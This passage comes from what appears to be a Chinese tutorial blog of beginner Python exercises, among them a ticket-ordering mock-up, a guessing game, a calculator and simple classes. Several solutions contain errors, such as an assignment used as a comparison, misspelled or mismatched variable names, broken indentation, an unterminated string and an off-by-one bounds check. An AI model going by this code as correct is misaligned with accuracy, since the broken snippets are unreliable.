class="string">&#x27;狮子座&#x27;</span>,<span class="string">&#x27;处女座&#x27;</span>,<span class="string">&#x27;天秤座&#x27;</span>,<span class="string">&#x27;天蝎座&#x27;</span>,<span class="string">&#x27;射手座&#x27;</span>,<span class="string">&#x27;摩羯座&#x27;</span>,<span class="string">&#x27;水瓶座&#x27;</span>,<span class="string">&#x27;双鱼座&#x27;</span>]</span><br><span class="line">nature = [<span class="string">&#x27;积极乐观&#x27;</span>,<span class="string">&#x27;固执内向&#x27;</span>,<span class="string">&#x27;圆滑世故&#x27;</span>,<span class="string">&#x27;多愁善感&#x27;</span>,<span class="string">&#x27;迷之自信&#x27;</span>,<span class="string">&#x27;精明计较&#x27;</span>,<span class="string">&#x27;犹豫不决&#x27;</span>,<span class="string">&#x27;阴暗消极&#x27;</span>,<span class="string">&#x27;放荡不羁&#x27;</span>,<span class="string">&#x27;务实本分&#x27;</span>,<span class="string">&#x27;作天作地&#x27;</span>,<span class="string">&#x27;安于现状&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#将两个列表转成集合</span></span><br><span class="line">a = <span class="built_in">zip</span>(constellation,nature)</span><br><span class="line">d = <span class="built_in">dict</span>(<span class="built_in">zip</span>(constellation,nature))</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> a:</span><br><span class="line">    print(item)</span><br><span class="line">print(d)</span><br><span class="line">key = <span class="built_in">input</span>(<span class="string">&#x27;请输入您的星座名称：&#x27;</span>)</span><br><span class="line">flag = <span class="literal">True</span></span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> d:</span><br><span class="line">    <span class="keyword">if</span> key == item:</span><br><span class="line">        flag = <span class="literal">True</span></span><br><span class="line">        print(key,<span class="string">&#x27;的性格特点为：&#x27;</span>,d.get(key))</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment">#print(&#x27;您输入的星座有误&#x27;)</span></span><br><span class="line">        flag = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> flag:</span><br><span class="line">    print(<span class="string">&#x27;您输入的星座有误&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="2模拟12306火车票订票下单"><a class="markdownIt-Anchor" href="#2模拟12306火车票订票下单">#</a> （2）模拟 12306 火车票订票下单</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">dict_ticket = &#123;</span><br><span class="line">    <span class="string">&#x27;G1569&#x27;</span>:[<span class="string">&#x27;北京南-天津南&#x27;</span>,<span class="string">&#x27;18:05&#x27;</span>,<span class="string">&#x27;18:39&#x27;</span>,<span class="string">&#x27;00:34&#x27;</span>],</span><br><span class="line">    <span class="string">&#x27;G1567&#x27;</span>:[<span class="string">&#x27;北京南-天津南&#x27;</span>,<span class="string">&#x27;18:15&#x27;</span>,<span class="string">&#x27;18:49&#x27;</span>,<span class="string">&#x27;00:34&#x27;</span>],</span><br><span class="line">    <span class="string">&#x27;G8917&#x27;</span>:[<span class="string">&#x27;北京南-天津西&#x27;</span>,<span class="string">&#x27;18:20&#x27;</span>,<span class="string">&#x27;19:19&#x27;</span>,<span class="string">&#x27;00:59&#x27;</span>],</span><br><span class="line">    <span class="string">&#x27;G203 &#x27;</span>:[<span class="string">&#x27;北京南-天津南&#x27;</span>,<span class="string">&#x27;18:35&#x27;</span>,<span class="string">&#x27;19:09&#x27;</span>,<span class="string">&#x27;00:34&#x27;</span>]</span><br><span class="line">&#125;</span><br><span class="line">print(<span class="string">&#x27;车次\t\t出发站\t\t到达站\t\t出发时间\t\t\t到达时间\t\t\t历时时长&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> dict_ticket:</span><br><span class="line">    print(item,end = <span class="string">&#x27;   &#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> dict_ticket[item]:</span><br><span class="line">        print(i,end=<span class="string">&#x27;\t\t\t&#x27;</span>)</span><br><span class="line">    print()<span class="comment">#换行</span></span><br><span class="line"><span class="comment">#输入要购买的车次    </span></span><br><span class="line">train_no = <span class="built_in">input</span>(<span class="string">&#x27;请输入购买的车次：&#x27;</span>)</span><br><span class="line">persons = <span class="built_in">input</span>(<span class="string">&#x27;请输入乘车人。如果是多人请使用逗号分隔&#x27;</span>)</span><br><span class="line">s = <span class="string">f&#x27;您已购买了<span class="subst">&#123;train_no&#125;</span>次列车，&#x27;</span></span><br><span class="line">s_info = dict_ticket[train_no]<span class="comment">#获取车次详细信息</span></span><br><span class="line">s += s_info[<span class="number">0</span>] + <span class="string">&#x27; &#x27;</span> + s_info[<span class="number">1</span>] + <span class="string">&#x27; 开。&#x27;</span></span><br><span class="line">print(<span class="string">f&#x27;<span class="subst">&#123;s&#125;</span>请<span class="subst">&#123;persons&#125;</span>尽快取走纸质车票。【铁路客服】&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="8-案例八"><a class="markdownIt-Anchor" href="#8-案例八">#</a> 8. 案例八</h2><h3 id="1我的咖啡馆你做主"><a class="markdownIt-Anchor" href="#1我的咖啡馆你做主">#</a> （1）我的咖啡馆你做主</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">coffee_name = (<span class="string">&#x27;蓝山&#x27;</span>,<span class="string">&#x27;卡布奇诺&#x27;</span>,<span class="string">&#x27;拿铁&#x27;</span>,<span class="string">&#x27;皇家咖啡&#x27;</span>,<span class="string">&#x27;女王咖啡&#x27;</span>,<span class="string">&#x27;美丽与哀愁&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;您好！欢迎光临小喵咖啡屋。&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;本店经营的咖啡有：&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> index,item <span class="keyword">in</span> <span class="built_in">enumerate</span>(coffee_name):</span><br><span class="line">    print(index+ +<span class="number">1</span> ,<span class="string">&#x27;.&#x27;</span>,item,end=<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">    </span><br><span class="line">index = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;\n请输入您喜欢的咖啡编号：&#x27;</span>))</span><br><span class="line"><span class="keyword">if</span> <span class="number">0</span> &lt;= index &lt;= <span class="built_in">len</span>(coffee_name):</span><br><span class="line">    print(<span class="string">f&#x27;您的咖啡[<span class="subst">&#123;coffee_name[index -<span class="number">1</span>]&#125;</span>]好了，请您慢用&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="2显示2019年中超联赛前五名排行"><a class="markdownIt-Anchor" href="#2显示2019年中超联赛前五名排行">#</a> （2）显示 2019 年中超联赛前五名排行</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">socres = ((<span class="string">&#x27;广州恒大&#x27;</span>,<span class="number">72</span>),(<span class="string">&#x27;北京国安&#x27;</span>,<span class="number">70</span>),(<span class="string">&#x27;上海上港&#x27;</span>,<span class="number">66</span>),(<span class="string">&#x27;江苏苏宁&#x27;</span>,<span class="number">53</span>),(<span class="string">&#x27;山东鲁能&#x27;</span>,<span class="number">51</span>))</span><br><span class="line"><span class="keyword">for</span> index,item <span class="keyword">in</span> <span class="built_in">enumerate</span>(scores):</span><br><span class="line">    print(index +<span class="number">1</span>,<span class="string">&#x27;.&#x27;</span>,end=<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> score <span class="keyword">in</span> item:</span><br><span class="line">        print(score,end =<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">    print()</span><br></pre></td></tr></table></figure><h3 id="3模拟手机通讯录"><a class="markdownIt-Anchor" href="#3模拟手机通讯录">#</a> （3）模拟手机通讯录</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">phones = <span class="built_in">set</span>()<span class="comment">#创建一个空集合，集合元素没有顺序</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):</span><br><span class="line">    info = <span class="built_in">input</span>(<span class="string">f&#x27;请输入第<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>个朋友的姓名和手机号码：&#x27;</span>)</span><br><span class="line">    phones.add(info)</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> phones:</span><br><span class="line">    print(item)</span><br></pre></td></tr></table></figure><h2 id="9-案例九"><a class="markdownIt-Anchor" href="#9-案例九">#</a> 9. 案例九</h2><h3 id="1统计字符串中出现指定字符的次数"><a class="markdownIt-Anchor" href="#1统计字符串中出现指定字符的次数">#</a> （1）统计字符串中出现指定字符的次数</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_count</span>(<span class="params">s,ch</span>):</span></span><br><span class="line">    count = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> item <span class="keyword">in</span> s:</span><br><span class="line">        <span class="keyword">if</span> ch.upper() == item <span class="keyword">or</span> ch.lower() == item:</span><br><span class="line">            count += <span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> count</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    s = <span class="string">&#x27;hellopython,hellojava,hellogo&#x27;</span></span><br><span class="line">    ch = <span class="built_in">input</span>(<span class="string">&#x27;请输入要统计的字符：&#x27;</span>)</span><br><span class="line">    count = get_count(s,ch)</span><br><span class="line">    print(<span class="string">f&#x27;<span class="subst">&#123;ch&#125;</span>在<span class="subst">&#123;s&#125;</span>中出现的次数为：<span class="subst">&#123;count&#125;</span>&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="2格式化输出商品的名称和单价"><a class="markdownIt-Anchor" href="#2格式化输出商品的名称和单价">#</a> （2）格式化输出商品的名称和单价</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">lst</span>):</span></span><br><span class="line">    <span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> item:</span><br><span class="line">        print(i,end =<span class="string">&#x27;\t\t&#x27;</span>)</span><br><span class="line">    print()</span><br><span class="line">lst = [</span><br><span class="line">    [<span class="string">&#x27;01&#x27;</span>,<span class="string">&#x27;电风扇&#x27;</span>,<span class="string">&#x27;美的&#x27;</span>,<span class="number">500</span>],</span><br><span class="line">    [<span class="string">&#x27;02&#x27;</span>,<span class="string">&#x27;洗衣机&#x27;</span>,<span class="string">&#x27;TCL&#x27;</span>,<span class="number">1000</span>],</span><br><span class="line">    [<span class="string">&#x27;03&#x27;</span>,<span class="string">&#x27;微波炉&#x27;</span>,<span class="string">&#x27;老板&#x27;</span>,<span class="number">400</span>],</span><br><span class="line">]</span><br><span class="line">print(<span class="string">&#x27;编号\t\t\t名称\t\t\t品牌\t\t\t单价&#x27;</span>)</span><br><span class="line">show(lst)</span><br><span class="line">print(<span class="string">&#x27;----------格式化---------------&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">    item[<span class="number">0</span>] = <span class="string">&#x27;0000&#x27;</span> + item[<span class="number">0</span>]</span><br><span class="line">    item[<span class="number">3</span>] = <span class="string">&#x27;￥&#123;:.2f&#125;&#x27;</span>.<span class="built_in">format</span>(item[<span class="number">3</span>])</span><br><span class="line">show(lst)    </span><br></pre></td></tr></table></figure><h2 id="10-案例十"><a class="markdownIt-Anchor" href="#10-案例十">#</a> 10. 案例十</h2><h3 id="1mini计算器"><a class="markdownIt-Anchor" href="#1mini计算器">#</a> （1）Mini 计算器</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">calc</span>(<span class="params">a,b,op</span>):</span></span><br><span class="line">    <span class="keyword">if</span> op == <span class="string">&#x27;+&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> add(a,b)</span><br><span class="line">    <span class="keyword">elif</span> op == <span class="string">&#x27;-&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> sub(a,b)</span><br><span class="line">    <span class="keyword">elif</span> op == <span class="string">&#x27;*&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> mul(a,b)</span><br><span class="line">    <span class="keyword">elif</span> op == <span class="string">&#x27;/&#x27;</span>:</span><br><span class="line">        <span class="keyword">if</span> b != <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> div(a,b)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;除数不能为0&#x27;</span></span><br><span class="line">        </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    <span class="keyword">return</span> a + b</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sub</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    <span class="keyword">return</span> a - b</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">mul</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    <span class="keyword">return</span> a * b</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">div</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    <span class="keyword">return</span> a/b</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    a = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第一个整数：&#x27;</span>))</span><br><span class="line">    b = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第二个整数：&#x27;</span>))</span><br><span class="line">    op = <span class="built_in">input</span>(<span class="string">&#x27;请输入运算符：&#x27;</span>)</span><br><span class="line">    print(calc(a,b,op))</span><br></pre></td></tr></table></figure><h3 id="2猜数游戏"><a class="markdownIt-Anchor" href="#2猜数游戏">#</a> （2）猜数游戏</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">guess</span>(<span class="params">num,guess_num</span>):</span></span><br><span class="line">    <span class="keyword">if</span> num = guess_num:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">elif</span> guess_num &gt; num:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    </span><br><span class="line">num = random.randint(<span class="number">1</span>,<span class="number">100</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">    guess_num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;我心里有个1-100的整数，请你猜一猜：&#x27;</span>))</span><br><span class="line">    result = guess(num,guess_num)</span><br><span class="line">    <span class="keyword">if</span> result == <span class="number">0</span>:</span><br><span class="line">        print(<span class="string">&#x27;猜对了&#x27;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">elif</span> result &gt; <span class="number">0</span>:</span><br><span class="line">        print(<span class="string">&#x27;大了&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;小了&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;真笨，10次都没猜中！&#x27;</span>) </span><br></pre></td></tr></table></figure><h2 id="11-案例十一"><a class="markdownIt-Anchor" href="#11-案例十一">#</a> 11. 案例十一</h2><h3 id="1编写程序输入学员成绩"><a class="markdownIt-Anchor" href="#1编写程序输入学员成绩">#</a> （1）编写程序输入学员成绩</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">score = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入分数：&#x27;</span>))</span><br><span class="line"><span class="keyword">if</span> <span class="number">0</span> &lt;= score &lt;= <span class="number">100</span>:</span><br><span class="line">    print(<span class="string">&#x27;分数为：&#x27;</span>,score)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="keyword">raise</span> Exception(<span class="string">&#x27;分数不正确&#x27;</span>)</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    print(e)</span><br></pre></td></tr></table></figure><h3 id="2编写程序判断三个参数能否构成三角形"><a class="markdownIt-Anchor" href="#2编写程序判断三个参数能否构成三角形">#</a> （2）编写程序，判断三个参数能否构成三角形</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">is_triangle</span>(<span class="params">a,b,c</span>):</span></span><br><span class="line">    <span class="keyword">if</span> a&lt;<span class="number">0</span> <span class="keyword">or</span> b&lt;<span class="number">0</span> <span class="keyword">or</span> c&lt;<span class="number">0</span>:</span><br><span class="line">        <span class="keyword">raise</span> Exception(<span class="string">&#x27;三条边不能有负数&#x27;</span>)<span class="comment">#手动抛出异常对象</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">#判断是否构成三角形</span></span><br><span class="line">    <span class="keyword">if</span> a+b&gt;c <span class="keyword">and</span> a+c&gt;b <span class="keyword">and</span> b+c&gt;a:</span><br><span class="line">        print(<span class="string">f&#x27;三角形的边长为a=<span class="subst">&#123;a&#125;</span>,b=<span class="subst">&#123;b&#125;</span>,c=<span class="subst">&#123;c&#125;</span>&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">raise</span> Exception(<span class="string">f&#x27;a=<span class="subst">&#123;a&#125;</span>,b=<span class="subst">&#123;b&#125;</span>,c=<span class="subst">&#123;c&#125;</span>，不能构成三角形&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        a = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第一条边：&#x27;</span>))</span><br><span class="line">        b = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第二条边：&#x27;</span>))</span><br><span class="line">        c = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第三条边：&#x27;</span>))</span><br><span class="line">        is_triangle(a,b,c)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        print(e)</span><br></pre></td></tr></table></figure><h2 id="12-案例十二"><a class="markdownIt-Anchor" href="#12-案例十二">#</a> 12. 案例十二</h2><h3 id="1定义一个圆的类来计算面积和周长"><a class="markdownIt-Anchor" href="#1定义一个圆的类来计算面积和周长">#</a> （1）定义一个圆的类来计算面积和周长</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Circle</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,r</span>):</span></span><br><span class="line">        self.r = r</span><br><span class="line">        </span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_area</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">return</span> math.pi * math.<span class="built_in">pow</span>(self.r,<span class="number">2</span>)</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_perimeter</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">2</span>*math.pi*self.r</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    r = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入圆的半径：&#x27;</span>))</span><br><span class="line">    c = Circle(r)</span><br><span class="line">    print(<span class="string">f&#x27;圆的面积为：<span class="subst">&#123;c.get_area()&#125;</span>&#x27;</span>)</span><br><span class="line">    print(<span class="string">f&#x27;圆的周长为：<span class="subst">&#123;c.get_perimeter()&#125;</span>)</span></span><br><span class="line"><span class="string">          </span></span><br><span class="line"><span class="string">  print(&#x27;</span>圆的面积为：&#123;:<span class="number">.2</span>f&#125;<span class="string">&#x27;.format(c.get_area()))</span></span><br><span class="line"><span class="string">  print(&#x27;</span>圆的周长为：&#123;:<span class="number">.2</span>f&#125;<span class="string">&#x27;.format(c.get_perimeter())) </span></span><br></pre></td></tr></table></figure><h3 id="2定义学生类录入5个学生信息存储到列表中"><a class="markdownIt-Anchor" href="#2定义学生类录入5个学生信息存储到列表中">#</a> （2）定义学生类录入 5 个学生信息存储到列表中</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,stu_name,stu_age_,stu_gender,stu_score</span>):</span></span><br><span class="line">        self.stu_name = stu_name</span><br><span class="line">        self.stu_age = stu_age</span><br><span class="line">        self.stu_gender = stu_gender</span><br><span class="line">        self.stu_score = stu_score</span><br><span class="line">        </span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(self.stu_name,self.stu_age,self.stu_gender,self.stu_score)</span><br><span class="line">        </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    print(<span class="string">&#x27;请输入五位学员的信息：(姓名#年龄#性别#成绩)&#x27;</span>)</span><br><span class="line">    lst = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">5</span>):</span><br><span class="line">        s = <span class="built_in">input</span>(<span class="string">f&#x27;请输入第<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>位学员的信息和成绩：&#x27;</span>)</span><br><span class="line">        s_lst = s.split(<span class="string">&#x27;#&#x27;</span>)</span><br><span class="line">        <span class="comment">#print(s_lst)</span></span><br><span class="line">        <span class="comment">#创建学生对象</span></span><br><span class="line">        stu = Student(s_lst[<span class="number">0</span>],<span class="built_in">int</span>(s_lst[<span class="number">1</span>]),s_lst[<span class="number">2</span>],<span class="built_in">float</span>(s_lst[<span class="number">3</span>]))</span><br><span class="line">        lst.append(stu)</span><br><span class="line">    <span class="comment">#遍历列表</span></span><br><span class="line">    <span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">        item.show()</span><br></pre></td></tr></table></figure><h2 id="13-案例十三"><a class="markdownIt-Anchor" href="#13-案例十三">#</a> 13. 案例十三</h2><h3 id="1编写程序实现乐手弹奏乐器"><a class="markdownIt-Anchor" href="#1编写程序实现乐手弹奏乐器">#</a> （1）编写程序实现乐手弹奏乐器</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Instrument</span>():</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">make_sound</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Erhu</span>(<span class="params">Instrument</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">make_sound</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;二胡在演奏&#x27;</span>)</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Piano</span>(<span class="params">Instrument</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">make_sound</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;钢琴在演奏&#x27;</span>)</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Violin</span>(<span class="params">Instrument</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">make_sound</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;小提琴在演奏&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">play</span>(<span class="params">instrument</span>):</span></span><br><span class="line">    instrument.make_sound()</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Bird</span>():</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">make_sound</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span 